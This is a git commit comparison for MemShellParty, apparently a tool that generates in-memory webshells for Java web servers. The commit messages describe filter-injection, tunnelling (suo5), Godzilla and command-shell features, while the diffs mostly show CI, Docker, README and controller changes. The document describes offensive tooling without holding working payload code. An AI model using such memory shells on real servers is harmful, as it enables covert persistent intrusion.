Compare commits

...
171 Commits
Author SHA1 Message Date
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 37832ee768 chore: 2.4.0 2025-12-10 02:10:59 +08:00
ReaJason a59282b2a9 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason bf151faa1c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 11c439f6c6 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason a10386457c feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason dd9333e473 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason d7a67b3056 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason e41f8347c6 ci: release ci broken 2025-12-08 02:32:56 +08:00
ReaJason 47b628ee5b chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason 970e260b16 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason ebfb9323f8 ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 818f42048d build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason 554719a447 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 42a9c00263 build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason b1b44dbc4c docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 0c5847b4dd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason ef1a77d11d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason 8551c3b18f build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason c1631b9401 fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason e1a852a301 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 4fd1e4170f feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason 73f5694cac chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason bac3023dfa feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason baeb3daa50 fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason 5d28df0e39 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason b29d83d3b4 feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason 605379907b test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason 84c61629ff fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 4a207e583a test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason afb3d46080 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason 102173b924 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason 8b8cc7173d test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason c43d87eea1 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason 11e58495fc feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 8491d6f964 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason 1cf5f37086 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason cd8111d0d7 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 653665e479 feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 79c3e0d929 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason 50a60c4c65 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 90c20b5388 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason 4652f644e4 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason c21d47140f test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason fc3961a6bf perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 962264f13e fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason 75495aee20 chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 13a83d510b fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason 2582a12785 fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 05bfa6fd1c feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 40e6c55b6d chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason bfda586d58 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason f0c88ab914 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason 504dde9335 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason e4e86d2c8d refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason dc898fd214 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 0ec52dd167 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
752 changed files with 46232 additions and 9041 deletions
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args() args = parser.parse_args()
version = args.version version = args.version
with open("../../CHANGELOG.md") as f: with open("../../web/content/docs/changelog.mdx") as f:
lines = f.readlines() lines = f.readlines()
for line in lines: for line in lines:
if line.startswith(f"## [{version}]"): if line.startswith(f"## [{version}]"):
+18 -4
View File
@@ -12,7 +12,10 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
@@ -25,6 +28,11 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
@@ -34,10 +42,16 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle (Linux)
run: ./gradlew :boot:bootjar -x test if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
+1 -1
View File
@@ -33,7 +33,7 @@ jobs:
sleep 10 sleep 10
- name: Test with curl - name: Test with curl
run: | run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
echo "Test successful!" echo "Test successful!"
else else
echo "Test failed!" echo "Test failed!"
@@ -27,7 +27,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
@@ -48,6 +48,8 @@ jobs:
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
+3 -3
View File
@@ -25,7 +25,7 @@ jobs:
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish" - middleware: "glassfish"
@@ -42,8 +42,8 @@ jobs:
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux" - middleware: "struct2"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
+5
View File
@@ -47,6 +47,11 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH} VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
+4 -21
View File
@@ -12,7 +12,7 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div> </div>
> [!WARNING] > [!WARNING]
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty [Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish,因为它使用的是 GlassFish 进行的二开)。
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。 可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。 对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -78,23 +78,6 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
## User Guide
1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
## Special Thanks ## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [vulhub/java-chains](https://github.com/vulhub/java-chains)
+1 -1
View File
@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py . COPY neoreg.py .
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+4 -3
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.3" id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,9 +21,10 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation(project(":packer")) { implementation(project(":packer")) {
@@ -34,7 +35,7 @@ dependencies {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
} }
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-jetty") implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/api/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -17,7 +17,7 @@ import java.util.*;
* @since 2024/12/13 * @since 2024/12/13
*/ */
@RestController @RestController
@RequestMapping("/config") @RequestMapping("/api/config")
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -19,7 +19,7 @@ import java.util.Base64;
* @since 2024/12/18 * @since 2024/12/18
*/ */
@RestController @RestController
@RequestMapping("/memshell/generate") @RequestMapping("/api/memshell/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class MemShellGeneratorController { public class MemShellGeneratorController {
@PostMapping @PostMapping
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) { }
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
}
} }
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
* @since 2025/8/10 * @since 2025/8/10
*/ */
@RestController @RestController
@RequestMapping("/probe/generate") @RequestMapping("/api/probe/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class ProbeShellGeneratorController { public class ProbeShellGeneratorController {
@PostMapping @PostMapping
@@ -22,7 +22,7 @@ import java.util.Map;
*/ */
@RestController @RestController
@CrossOrigin("*") @CrossOrigin("*")
@RequestMapping("/version") @RequestMapping("/api/version")
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
@@ -1,16 +1,70 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
